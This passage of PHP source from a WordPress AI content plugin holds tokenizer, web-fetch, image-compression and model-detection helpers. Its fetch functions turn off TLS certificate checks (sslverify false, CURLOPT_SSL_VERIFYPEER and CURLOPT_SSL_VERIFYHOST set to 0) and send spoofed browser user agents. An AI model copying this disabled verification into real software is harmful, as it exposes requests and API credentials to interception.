Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36" ); $rand = rand( 0, count( $agents ) - 1 ); return trim( $agents[ $rand ] ); } function aiomatic_admin_footer() { ?> $v) { $arr[$k] = aiomatic_utf8ize($v); } } else if (is_string ($arr)) { return aiomatic_utf8_encode($arr); } return $arr; } function aiomatic_safe_json_encode($value){ $encoded = json_encode($value); switch (json_last_error()) { case JSON_ERROR_NONE: return $encoded; case JSON_ERROR_DEPTH: throw new Exception('Maximum stack depth exceeded'); case JSON_ERROR_STATE_MISMATCH: throw new Exception('Underflow or the modes mismatch'); case JSON_ERROR_CTRL_CHAR: throw new Exception('Unexpected control character found'); case JSON_ERROR_SYNTAX: throw new Exception('Syntax error, malformed JSON'); case JSON_ERROR_UTF8: $clean = aiomatic_utf8ize($value); return aiomatic_safe_json_encode($clean); default: throw new Exception('Unknown error in json encoding'); } } function aiomatic_split_to_token_len($tokens, $max_len) { $ret_me = array(); if(count($tokens) > $max_len) { $chunks = array_chunk($tokens, $max_len, true); foreach($chunks as $thisch) { $ret_me[] = aiomatic_decode($thisch); } } else { $ret_me[] = aiomatic_decode($tokens); } return $ret_me; } use Gioni06\Gpt3Tokenizer\Gpt3TokenizerConfig; use Gioni06\Gpt3Tokenizer\Gpt3Tokenizer; function aiomatic_decode($tokens) { if (version_compare(PHP_VERSION, '8.0.2', '>=') && extension_loaded('mbstring')) { require_once (dirname(__FILE__) . "/res/tokenizer/Gpt3TokenizerConfig.php"); require_once (dirname(__FILE__) . "/res/tokenizer/Merges.php"); require_once (dirname(__FILE__) . "/res/tokenizer/Vocab.php"); require_once (dirname(__FILE__) . "/res/tokenizer/Gpt3Tokenizer.php"); $config = new Gpt3TokenizerConfig(); $tokenizer = new Gpt3Tokenizer($config); $text = $tokenizer->decode($tokens); return $text; } else { return aiomatic_decode_old($tokens); } } function aiomatic_decode_old($tokens) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ) { include_once(ABSPATH . 'wp-admin/includes/file.php'); $creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $rencoder = $wp_filesystem->get_contents(dirname(__FILE__) . "/res/encoder.json"); $encoder = json_decode($rencoder, true); if(empty($encoder)) { aiomatic_log_to_file('Failed to load encoder.json: ' . $rencoder); return false; } $decoder = array(); foreach($encoder as $index => $val) { $decoder[$val] = $index; } $raw_chars = $wp_filesystem->get_contents(dirname(__FILE__) . "/res/characters.json"); $byte_encoder = json_decode($raw_chars, true); if(empty($byte_encoder)) { aiomatic_log_to_file('Failed to load characters.json: ' . $raw_chars); return false; } $byte_decoder = array(); foreach($byte_encoder as $index => $val) { $byte_decoder[$val] = $index; } $text = ''; $mych_arr = []; foreach($tokens as $myt) { if(isset($decoder[$myt])) { $mych_arr[] = $decoder[$myt]; } else { aiomatic_log_to_file('Character not found in decoder: ' . $myt); } } $text = implode('', $mych_arr); $text_arr = preg_split('//u', $text, -1, PREG_SPLIT_NO_EMPTY); $final_arr = array(); foreach($text_arr as $txa) { if(isset($byte_decoder[$txa])) { $final_arr[] = $byte_decoder[$txa]; } else { aiomatic_log_to_file('Character not found in byte_decoder: ' . $txa); } } $output = ''; for ($i = 0, $j = count($final_arr); $i < $j; ++$i) { $output .= chr($final_arr[$i]); } return $output; } function aiomatic_encode($text) { if (version_compare(PHP_VERSION, '8.0.2', '>=') && extension_loaded('mbstring')) { require_once (dirname(__FILE__) . "/res/tokenizer/Gpt3TokenizerConfig.php"); require_once (dirname(__FILE__) . "/res/tokenizer/Merges.php"); require_once (dirname(__FILE__) . "/res/tokenizer/Vocab.php"); require_once (dirname(__FILE__) . "/res/tokenizer/Gpt3Tokenizer.php"); $config = new Gpt3TokenizerConfig(); $tokenizer = new Gpt3Tokenizer($config); $tokens = $tokenizer->encode($text); return $tokens; } else { return aiomatic_encode_old($text); } } function aiomatic_encode_old($text) { $bpe_tokens = array(); if(empty($text)) { return $bpe_tokens; } global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ) { include_once(ABSPATH . 'wp-admin/includes/file.php'); $creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $raw_chars = $wp_filesystem->get_contents(dirname(__FILE__) . "/res/characters.json"); $byte_encoder = json_decode($raw_chars, true); if(empty($byte_encoder)) { aiomatic_log_to_file('Failed to load characters.json: ' . $raw_chars); return $bpe_tokens; } $rencoder = $wp_filesystem->get_contents(dirname(__FILE__) . "/res/encoder.json"); $encoder = json_decode($rencoder, true); if(empty($encoder)) { aiomatic_log_to_file('Failed to load encoder.json: ' . $rencoder); return $bpe_tokens; } $bpe_file = $wp_filesystem->get_contents(dirname(__FILE__) . "/res/vocab.bpe"); if(empty($bpe_file)) { aiomatic_log_to_file('Failed to load vocab.bpe'); return $bpe_tokens; } $text = str_replace ("\r\n", "\n", $text); preg_match_all("#'s|'t|'re|'ve|'m|'ll|'d| ?\p{L}+| ?\p{N}+| ?[^\s\p{L}\p{N}]+|\s+(?!\S)|\s+#u", $text, $matches); if(!isset($matches[0]) || count($matches[0]) == 0) { aiomatic_log_to_file('Failed to match string: ' . $text); return $bpe_tokens; } $lines = preg_split('/\r\n|\r|\n/', $bpe_file); $bpe_merges = array(); $bpe_merges_temp = array_slice($lines, 1, count($lines), true); foreach($bpe_merges_temp as $bmt) { $split_bmt = preg_split('#(\s+)#', $bmt); $split_bmt = array_filter($split_bmt, 'aiomatic_myFilter'); if(count($split_bmt) > 0) { $bpe_merges[] = $split_bmt; } } $bpe_ranks = aiomatic_dictZip($bpe_merges, range(0, count($bpe_merges) - 1)); $cache = array(); foreach($matches[0] as $token) { $new_tokens = array(); $chars = array(); $token = aiomatic_utf8_encode($token); if(function_exists('mb_strlen')) { $len = mb_strlen($token, 'UTF-8'); for ($i = 0; $i < $len; $i++) { $chars[] = mb_substr($token, $i, 1, 'UTF-8'); } } else { $chars = str_split($token); } $result_word = ''; foreach($chars as $char) { if(isset($byte_encoder[aiomatic_unichr($char)])) { $result_word .= $byte_encoder[aiomatic_unichr($char)]; } } $new_tokens_bpe = aiomatic_bpe($result_word, $bpe_ranks, $cache); $new_tokens_bpe = explode(' ', $new_tokens_bpe); foreach($new_tokens_bpe as $x) { if(isset($encoder[$x])) { if(isset($new_tokens[$x])) { $new_tokens[rand() . '---' . $x] = $encoder[$x]; } else { $new_tokens[$x] = $encoder[$x]; } } else { if(isset($new_tokens[$x])) { $new_tokens[rand() . '---' . $x] = $x; } else { $new_tokens[$x] = $x; } } } foreach($new_tokens as $ninx => $nval) { if(isset($bpe_tokens[$ninx])) { $bpe_tokens[rand() . '---' . $ninx] = $nval; } else { $bpe_tokens[$ninx] = $nval; } } } return $bpe_tokens; } function aiomatic_myFilter($var) { return ($var !== NULL && $var !== FALSE && $var !== ''); } function aiomatic_unichr($c) { if (ord($c[0]) >=0 && ord($c[0]) <= 127) { return ord($c[0]); } if (ord($c[0]) >= 192 && ord($c[0]) <= 223) { return (ord($c[0])-192)*64 + (ord($c[1])-128); } if (ord($c[0]) >= 224 && ord($c[0]) <= 239) { return (ord($c[0])-224)*4096 + (ord($c[1])-128)*64 + (ord($c[2])-128); } if (ord($c[0]) >= 240 && ord($c[0]) <= 247) { return (ord($c[0])-240)*262144 + (ord($c[1])-128)*4096 + (ord($c[2])-128)*64 + (ord($c[3])-128); } if (ord($c[0]) >= 248 && ord($c[0]) <= 251) { return (ord($c[0])-248)*16777216 + (ord($c[1])-128)*262144 + (ord($c[2])-128)*4096 + (ord($c[3])-128)*64 + (ord($c[4])-128); } if (ord($c[0]) >= 252 && ord($c[0]) <= 253) { return (ord($c[0])-252)*1073741824 + (ord($c[1])-128)*16777216 + (ord($c[2])-128)*262144 + (ord($c[3])-128)*4096 + (ord($c[4])-128)*64 + (ord($c[5])-128); } if (ord($c[0]) >= 254 && ord($c[0]) <= 255) { return 0; } return 0; } function aiomatic_dictZip($x, $y) { $result = array(); $cnt = 0; foreach($x as $i) { if(isset($i[1]) && isset($i[0])) { $result[$i[0] . ',' . $i[1]] = $cnt; $cnt++; } } return $result; } function aiomatic_get_pairs($word) { $pairs = array(); $prev_char = $word[0]; for ($i = 1; $i < count($word); $i++) { $char = $word[$i]; $pairs[] = array($prev_char, $char); $prev_char = $char; } return $pairs; } function aiomatic_split($str, $len = 1) { $arr = []; if(function_exists('mb_strlen')) { $length = mb_strlen($str, 'UTF-8'); } else { $length = strlen($str); } for ($i = 0; $i < $length; $i += $len) { if(function_exists('mb_substr')) { $arr[] = mb_substr($str, $i, $len, 'UTF-8'); } else { $arr[] = substr($str, $i, $len); } } return $arr; } function aiomatic_bpe($token, $bpe_ranks, &$cache) { if(array_key_exists($token, $cache)) { return $cache[$token]; } $word = aiomatic_split($token); $init_len = count($word); $pairs = aiomatic_get_pairs($word); if(!$pairs) { return $token; } while (true) { $minPairs = array(); foreach($pairs as $pair) { if(array_key_exists($pair[0] . ','. $pair[1], $bpe_ranks)) { $rank = $bpe_ranks[$pair[0] . ','. $pair[1]]; $minPairs[$rank] = $pair; } else { $minPairs[10e10] = $pair; } } ksort($minPairs); if(!function_exists('array_key_first')) { function array_key_first(array $array) { foreach ($array as $key => $value) { return $key; } } } $min_key = array_key_first($minPairs); foreach($minPairs as $mpi => $mp) { if($mpi < $min_key) { $min_key = $mpi; } } $bigram = $minPairs[$min_key]; if(!array_key_exists($bigram[0] . ',' . $bigram[1], $bpe_ranks)) { break; } $first = $bigram[0]; $second = $bigram[1]; $new_word = array(); $i = 0; while ($i < count($word)) { $j = aiomatic_indexOf($word, $first, $i); if ($j === -1) { $new_word = array_merge($new_word, array_slice($word, $i, null, true)); break; } if($i > $j) { $slicer = array(); } elseif($j == 0) { $slicer = array(); } else { $slicer = array_slice($word, $i, $j - $i, true); } $new_word = array_merge($new_word, $slicer); if(count($new_word) > $init_len) { break; } $i = $j; if ($word[$i] === $first && $i < count($word) - 1 && $word[$i + 1] === $second) { array_push($new_word, $first . $second); $i = $i + 2; } else { array_push($new_word, $word[$i]); $i = $i + 1; } } if($word == $new_word) { break; } $word = $new_word; if (count($word) === 1) { break; } else { $pairs = aiomatic_get_pairs($word); } } $word = implode(' ', $word); $cache[$token] = $word; return $word; } function aiomatic_get_web_page($url) { if(empty($url)) { return false; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $content = false; if (!isset($aiomatic_Main_Settings['proxy_url']) || $aiomatic_Main_Settings['proxy_url'] == '' || $aiomatic_Main_Settings['proxy_url'] == 'disable' || $aiomatic_Main_Settings['proxy_url'] == 'disabled') { $args = array( 'timeout' => 180, 'redirection' => 10, 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36', 'blocking' => true, 'headers' => array(), 'cookies' => array(), 'body' => null, 'compress' => false, 'decompress' => true, 'sslverify' => false, 'stream' => false, 'filename' => null ); $ret_data = wp_remote_get(html_entity_decode($url), $args); $response_code = wp_remote_retrieve_response_code( $ret_data ); if ( 200 != $response_code ) { } else { $content = wp_remote_retrieve_body( $ret_data ); } } if($content === false) { if(function_exists('curl_version') && filter_var($url, FILTER_VALIDATE_URL)) { $user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'; $options = array( CURLOPT_CUSTOMREQUEST => "GET", CURLOPT_POST => false, CURLOPT_USERAGENT => $user_agent, CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => true, CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_TIMEOUT => 300, CURLOPT_MAXREDIRS => 10, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0 ); $ch = curl_init($url); if ($ch === FALSE) { return FALSE; } if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); $options[CURLOPT_PROXY] = trim($prx[$randomness]); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { $options[CURLOPT_PROXYUSERPWD] = trim($prx_auth[$randomness]); } } } curl_setopt_array($ch, $options); $content = curl_exec($ch); curl_close($ch); } else { $allowUrlFopen = preg_match('/1|yes|on|true/i', ini_get('allow_url_fopen')); if ($allowUrlFopen) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } return $wp_filesystem->get_contents($url); } } } return $content; } function aiomatic_png_to_jpg_compress($source, $destination, $quality) { $image = imagecreatefrompng($source); if($image === false) { return false; } $bg = imagecreatetruecolor(imagesx($image), imagesy($image)); if($bg === false) { return false; } $fill = imagefill($bg, 0, 0, imagecolorallocate($bg, 255, 255, 255)); if($fill === false) { return false; } $blend = imagealphablending($bg, TRUE); if($blend === false) { return false; } $cp = imagecopy($bg, $image, 0, 0, 0, 0, imagesx($image), imagesy($image)); if($cp === false) { return false; } imagedestroy($image); $quality = 75; $success = imagejpeg($bg, $destination, $quality); if($success === false) { return false; } imagedestroy($bg); return $destination; } function aiomatic_string_to_string_compress($image_string) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(isset($aiomatic_Main_Settings['disable_compress']) && $aiomatic_Main_Settings['disable_compress'] == 'on') { return false; } if(!function_exists('imagecreatefromstring')) { return false; } $image = imagecreatefromstring($image_string); if ($image === false) { return false; } $bg = imagecreatetruecolor(imagesx($image), imagesy($image)); if ($bg === false) { imagedestroy($image); return false; } $white_background = imagecolorallocate($bg, 255, 255, 255); if ($white_background === false) { imagedestroy($image); return false; } $fr = imagefilledrectangle($bg, 0, 0, imagesx($image), imagesy($image), $white_background); if ($fr === false) { imagedestroy($image); return false; } $cr = imagecopy($bg, $image, 0, 0, 0, 0, imagesx($image), imagesy($image)); if ($cr === false) { imagedestroy($image); return false; } ob_start(); if(isset($aiomatic_Main_Settings['compress_quality']) && $aiomatic_Main_Settings['compress_quality'] != '') { $quality = intval($aiomatic_Main_Settings['compress_quality']); } else { $quality = 75; } $jp = imagejpeg($bg, NULL, $quality); if ($jp === false) { imagedestroy($image); return false; } $jpg_image_string = ob_get_contents(); ob_end_clean(); imagedestroy($image); imagedestroy($bg); return $jpg_image_string; } function aiomatic_compress_image($source, $destination, $quality) { $info = getimagesize($source); if($info === false) { return false; } $image = false; if ($info['mime'] == 'image/jpeg') { $image = imagecreatefromjpeg($source); } elseif ($info['mime'] == 'image/gif') { $image = imagecreatefromgif($source); } elseif ($info['mime'] == 'image/png') { $image = imagecreatefrompng($source); } if($image === false) { return false; } $success = imagejpeg($image, $destination, $quality); if($success === false) { return false; } return $destination; } function aiomatic_get_web_page_api($url, $post_args = array()) { if(count($post_args) == 0) { $post_args = null; } $content = false; $args = array( 'method' => 'POST', 'timeout' => 999, 'redirection' => 10, 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36', 'blocking' => true, 'headers' => array(), 'cookies' => array(), 'body' => $post_args, 'compress' => false, 'decompress' => true, 'sslverify' => false, 'stream' => false, 'filename' => null ); $ret_data = wp_remote_post($url, $args); $response_code = wp_remote_retrieve_response_code( $ret_data ); if ( 200 != $response_code ) { } else { $content = wp_remote_retrieve_body( $ret_data ); } if($content === false) { aiomatic_log_to_file('API response code is: ' . $response_code . ' - ' . $url . ' - ' . print_r($post_args, true)); } return $content; } function aiomatic_get_web_page_post($url, $post_args = array(), $headers = array()) { if(is_array($post_args) && count($post_args) == 0) { $post_args = null; } $content = false; $args = array( 'method' => 'POST', 'timeout' => 999, 'redirection' => 10, 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36', 'blocking' => true, 'headers' => $headers, 'cookies' => array(), 'body' => $post_args, 'compress' => false, 'decompress' => true, 'sslverify' => false, 'stream' => false, 'filename' => null ); $ret_data = wp_remote_post($url, $args); $response_code = wp_remote_retrieve_response_code( $ret_data ); if ( 200 != $response_code ) { } else { $content = wp_remote_retrieve_body( $ret_data ); } if($content === false) { aiomatic_log_to_file('POST response code is: ' . $response_code . ' - ' . $url . ' - ' . print_r($post_args, true)); } return $content; } function aiomatic_utf8_encode($str) { $str .= $str; $len = \strlen($str); for ($i = $len >> 1, $j = 0; $i < $len; ++$i, ++$j) { switch (true) { case $str[$i] < "\x80": $str[$j] = $str[$i]; break; case $str[$i] < "\xC0": $str[$j] = "\xC2"; $str[++$j] = $str[$i]; break; default: $str[$j] = "\xC3"; $str[++$j] = \chr(\ord($str[$i]) - 64); break; } } return substr($str, 0, $j); } function aiomatic_indexOf($arrax, $searchElement, $fromIndex) { $index = 0; foreach($arrax as $index => $value) { if($index < $fromIndex) { $index++; continue; } if($value == $searchElement) { return $index; } $index++; } return -1; } function aiomatic_add_to_url($attr, $value, $origURL = '') { if(empty($origURL)) { $origURL = $_SERVER['REQUEST_URI']; } $url = parse_url($origURL); parse_str($url['query'], $q); $params = [$attr => $value]; foreach ( $params as $k => $v ) $q[$k] = $v; $new_url = $url['path'] . '?' . http_build_query($q); return $new_url; } function aiomatic_compute_available_tokens($model, $max_tokens, &$prompt, &$query_token_count) { if(aiomatic_is_chatgpt_turbo_model($model) || aiomatic_is_chatgpt_o_model($model)) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $available_tokens = $max_tokens; if(isset($aiomatic_Main_Settings['gpt4_context_limit']) && $aiomatic_Main_Settings['gpt4_context_limit'] != '') { if($query_token_count > intval($aiomatic_Main_Settings['gpt4_context_limit'])) { $prompt = aiomatic_strip_to_token_count($prompt, $aiomatic_Main_Settings['gpt4_context_limit'], true); $query_token_count = count(aiomatic_encode($prompt)); } } elseif($query_token_count > aiomatic_get_max_input_tokens($model)) { $prompt = aiomatic_strip_to_token_count($prompt, aiomatic_get_max_input_tokens($model), true); $query_token_count = count(aiomatic_encode($prompt)); } } elseif(aiomatic_is_chatgpt35_16k_context_model($model)) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $available_tokens = $max_tokens; if(isset($aiomatic_Main_Settings['gpt35_context_limit']) && $aiomatic_Main_Settings['gpt35_context_limit'] != '') { if($query_token_count > intval($aiomatic_Main_Settings['gpt35_context_limit'])) { $prompt = aiomatic_strip_to_token_count($prompt, $aiomatic_Main_Settings['gpt35_context_limit'], true); $query_token_count = count(aiomatic_encode($prompt)); } } elseif($query_token_count > aiomatic_get_max_input_tokens($model)) { $prompt = aiomatic_strip_to_token_count($prompt, aiomatic_get_max_input_tokens($model), true); $query_token_count = count(aiomatic_encode($prompt)); } } elseif(aiomatic_is_claude_model($model)) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $available_tokens = $max_tokens; if(aiomatic_is_claude_model_200k($model)) { if(isset($aiomatic_Main_Settings['claude_context_limit_200k']) && $aiomatic_Main_Settings['claude_context_limit_200k'] != '') { if($query_token_count > intval($aiomatic_Main_Settings['claude_context_limit_200k'])) { $prompt = aiomatic_strip_to_token_count($prompt, $aiomatic_Main_Settings['claude_context_limit_200k'], true); $query_token_count = count(aiomatic_encode($prompt)); } } elseif($query_token_count > aiomatic_get_max_input_tokens($model)) { $prompt = aiomatic_strip_to_token_count($prompt, aiomatic_get_max_input_tokens($model), true); $query_token_count = count(aiomatic_encode($prompt)); } } else { if(isset($aiomatic_Main_Settings['claude_context_limit']) && $aiomatic_Main_Settings['claude_context_limit'] != '') { if($query_token_count > intval($aiomatic_Main_Settings['claude_context_limit'])) { $prompt = aiomatic_strip_to_token_count($prompt, $aiomatic_Main_Settings['claude_context_limit'], true); $query_token_count = count(aiomatic_encode($prompt)); } } elseif($query_token_count > aiomatic_get_max_input_tokens($model)) { $prompt = aiomatic_strip_to_token_count($prompt, aiomatic_get_max_input_tokens($model), true); $query_token_count = count(aiomatic_encode($prompt)); } } } elseif(aiomatic_is_perplexity_model($model)) { $available_tokens = $max_tokens - $query_token_count; if($available_tokens < 10) { $prompt = aiomatic_strip_to_token_count($prompt, aiomatic_get_max_input_tokens($model), true); $query_token_count = count(aiomatic_encode($prompt)); $available_tokens = $max_tokens - $query_token_count; } } else { if($query_token_count > aiomatic_get_max_input_tokens($model)) { $prompt = aiomatic_strip_to_token_count($prompt, aiomatic_get_max_input_tokens($model), true); $query_token_count = count(aiomatic_encode($prompt)); } $available_tokens = $max_tokens; } return $available_tokens; } function aiomatic_assign_featured_image($attach_id, $post_id) { if ($attach_id === 0 || !is_numeric($attach_id)) { return false; } require_once(ABSPATH . 'wp-admin/includes/image.php'); require_once(ABSPATH . 'wp-admin/includes/media.php'); $res2 = set_post_thumbnail($post_id, $attach_id); if ($res2 === FALSE) { return false; } return get_the_post_thumbnail_url($attach_id); } function aiomatic_strip_to_token_count($prompt, $max_token_count, $keepend = true) { $tokens = aiomatic_encode($prompt); if(count($tokens) > intval($max_token_count)) { if($keepend == true) { $my_slice = array_slice($tokens, -$max_token_count, $max_token_count, true); return aiomatic_decode($my_slice); } else { $my_slice = array_slice($tokens, 0, $max_token_count, true); return aiomatic_decode($my_slice); } } return $prompt; } function aiomatic_is_vision_model($model, $assistant_id) { if(!empty($assistant_id)) { if(!is_numeric($assistant_id)) { $local_assist = aiomatic_find_local_assistant_id($assistant_id); } else { $local_assist = $assistant_id; } if($local_assist !== false) { $assist_model = get_post_meta($local_assist, '_assistant_model', true); if(!empty($assist_model)) { if(in_array($assist_model, AIOMATIC_MODELS_VISION)) { return true; } return false; } } } if(in_array($model, AIOMATIC_MODELS_VISION)) { return true; } return false; } function aiomatic_is_retrieval_model($model, $assistant_id) { if(!empty($assistant_id)) { if(!is_numeric($assistant_id)) { $local_assist = aiomatic_find_local_assistant_id($assistant_id); } else { $local_assist = $assistant_id; } if($local_assist !== false) { $assist_model = get_post_meta($local_assist, '_assistant_model', true); if(!empty($assist_model)) { if(in_array($assist_model, AIOMATIC_RETRIEVAL_MODELS)) { return true; } return false; } } } if(in_array($model, AIOMATIC_RETRIEVAL_MODELS)) { return true; } return false; } function aiomatic_is_claude_model($model) { if(in_array($model, AIOMATIC_CLAUDE_MODELS)) { return true; } return false; } function aiomatic_get_model_provider($model) { if(aiomatic_is_google_model($model)) { return ' (Google)'; } elseif(aiomatic_is_claude_model($model)) { return ' (Anthropic)'; } elseif(aiomatic_is_openrouter_model($model)) { return ' (OpenRouter)'; } elseif(aiomatic_is_huggingface_model($model)) { return ' (HuggingFace)'; } elseif(aiomatic_is_ollama_model($model)) { return ' (Ollama)'; } elseif(aiomatic_is_perplexity_model($model)) { return ' (PerplexityAI)'; } return ''; } function aiomatic_is_openrouter_model($model) { $openrouter = false; static $router_models = array(); if(empty($router_models)) { try { $openrouter = aiomatic_get_openrouter_models(); if($openrouter !== false) { foreach($openrouter['source_list'] as $smodel) { $router_models[] = $smodel['model']; } } } catch(Exception $e) { aiomatic_log_to_file('Failed to list OpenRouter models: ' . $e->getMessage()); } } if(in_array($model, $router_models)) { return true; } return false; } function aiomatic_is_perplexity_model($model) { $modellist = AIOMATIC_PERPLEXITY_MODELS; if(in_array($model, $modellist)) { return true; } return false; } function aiomatic_get_ollama_models($no_cache = false) { if($no_cache !== true) { $my_options = get_option('aiomatic_ollama_models', array()); if(!empty($my_options)) { return $my_options; } } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['ollama_url']) || $aiomatic_Main_Settings['ollama_url'] == '') { aiomatic_log_to_file('Ollama server URL not set in plugin settings.'); return false; } $ollama_url = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['ollama_url'])); $ollama_url = array_filter($ollama_url); $ollama_url = $ollama_url[array_rand($ollama_url)]; $ollama_url = rtrim(trim($ollama_url), '/'); $cmdResult = aiomatic_get_web_page($ollama_url . '/api/tags'); if($cmdResult == false) { aiomatic_log_to_file('Failed to access Ollama server URL: ' . $ollama_url); return false; } $rules = array(); if(stristr($cmdResult, '"models"') !== false) { $rls = json_decode($cmdResult, true); if($rls == null || !isset($rls['models'])) { aiomatic_log_to_file('Failed to decode server response: ' . $cmdResult); return false; } foreach($rls['models'] as $mymod) { $rules[$mymod['model']] = $mymod['model']; } update_option('aiomatic_ollama_models', $rules); } else { aiomatic_log_to_file('Failed to decode Ollama server response: ' . $cmdResult); return false; } if(count($rules) > 0) { return $rules; } return array(); } function aiomatic_is_ollama_model($model) { $modellist = get_option('aiomatic_ollama_models', array()); if(in_array($model, $modellist)) { return true; } return false; } function aiomatic_is_huggingface_model($model) { $modellist = get_option('aiomatic_huggingface_models', array()); if(array_key_exists($model, $modellist)) { return true; } return false; } function aiomatic_is_google_model($model) { if(in_array($model, AIOMATIC_GOOGLE_MODELS)) { return true; } return false; } function aiomatic_is_claude_model_200k($model) { if(in_array($model, AIOMATIC_CLAUDE_MODELS_200K)) { return true; } return false; } function aiomatic_is_claude_3_model($model) { if(in_array($model, AIOMATIC_CLAUDE_CHAT)) { return true; } return false; } function aiomatic_is_new_token_window_model($model) { if(aiomatic_is_chatgpt_turbo_model($model) || aiomatic_is_chatgpt35_16k_context_model($model) || aiomatic_is_chatgpt_o_model($model)) { return true; } return false; } function aiomatic_is_chatgpt_o_model($model) { if(stristr($model, 'gpt-4o') !== false) { return true; } return false; } function aiomatic_is_chatgpt_o_mini_model($model) { if(stristr($model, 'gpt-4o-mini') !== false) { return true; } return false; } function aiomatic_is_chatgpt_turbo_model($model) { if($model == 'gpt-4-1106-preview') { return true; } elseif($model == 'gpt-4-vision-preview') { return true; } elseif($model == 'gpt-4-0125-preview') { return true; } elseif(stristr($model, 'gpt-4-turbo') !== false) { return true; } return false; } function aiomatic_is_chatgpt35_16k_context_model($model) { if($model == 'gpt-3.5-turbo-1106') { return true; } elseif($model == 'gpt-3.5-turbo-0125') { return true; } return false; } function aiomatic_is_chatgpt_model($model) { if(stristr($model, 'gpt-3.5-turbo-instruct') !== false) { return false; } elseif(stristr($model, 'gpt-4-1106-preview') !== false) { return false; } elseif(stristr($model, 'gpt-4-0125-preview') !== false) { return false; } elseif(stristr($model, 'gpt-4-turbo') !== false) { return false; } elseif(stristr($model, 'gpt-4o') !== false) { return false; } elseif(stristr($model, 'gpt-4-vision-preview') !== false) { return false; } elseif ( preg_match('/^((?:gpt)-(?:[\d.]+)(?:-[a-zA-Z0-9]+)?(?:-[\d]+)?)/', $model, $matches ) || preg_match('/^ft:((?:gpt)-(?:[\d.]+)(?:-[a-zA-Z0-9]+)?(?:-[\d]+)?):.*/', $model, $matches ) ) { return true; } return false; } function aiomatic_get_all_models_claude($reverse = false) { $all_models = AIOMATIC_CLAUDE_MODELS; if($reverse) { $all_models = array_reverse($all_models); } return $all_models; } function aiomatic_get_all_models($reverse = false) { $all_models = array(); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if(isset($aiomatic_Main_Settings['ollama_url']) && !empty(trim($aiomatic_Main_Settings['ollama_url']))) { $llama_models = aiomatic_get_ollama_models(false); if($llama_models !== false) { $all_models = array_merge($llama_models, $all_models); } } if(isset($aiomatic_Main_Settings['app_id_openrouter']) && !empty(trim($aiomatic_Main_Settings['app_id_openrouter']))) { try { $openrouter = aiomatic_get_openrouter_models(); if($openrouter !== false) { foreach($openrouter['source_list'] as $smodel) { $all_models[] = $smodel['model']; } } } catch(Exception $e) { aiomatic_log_to_file('Failed to list OpenRouter models: ' . $e->getMessage()); } } if(isset($aiomatic_Main_Settings['app_id_huggingface']) && !empty(trim($aiomatic_Main_Settings['app_id_huggingface']))) { $huggingmodels = 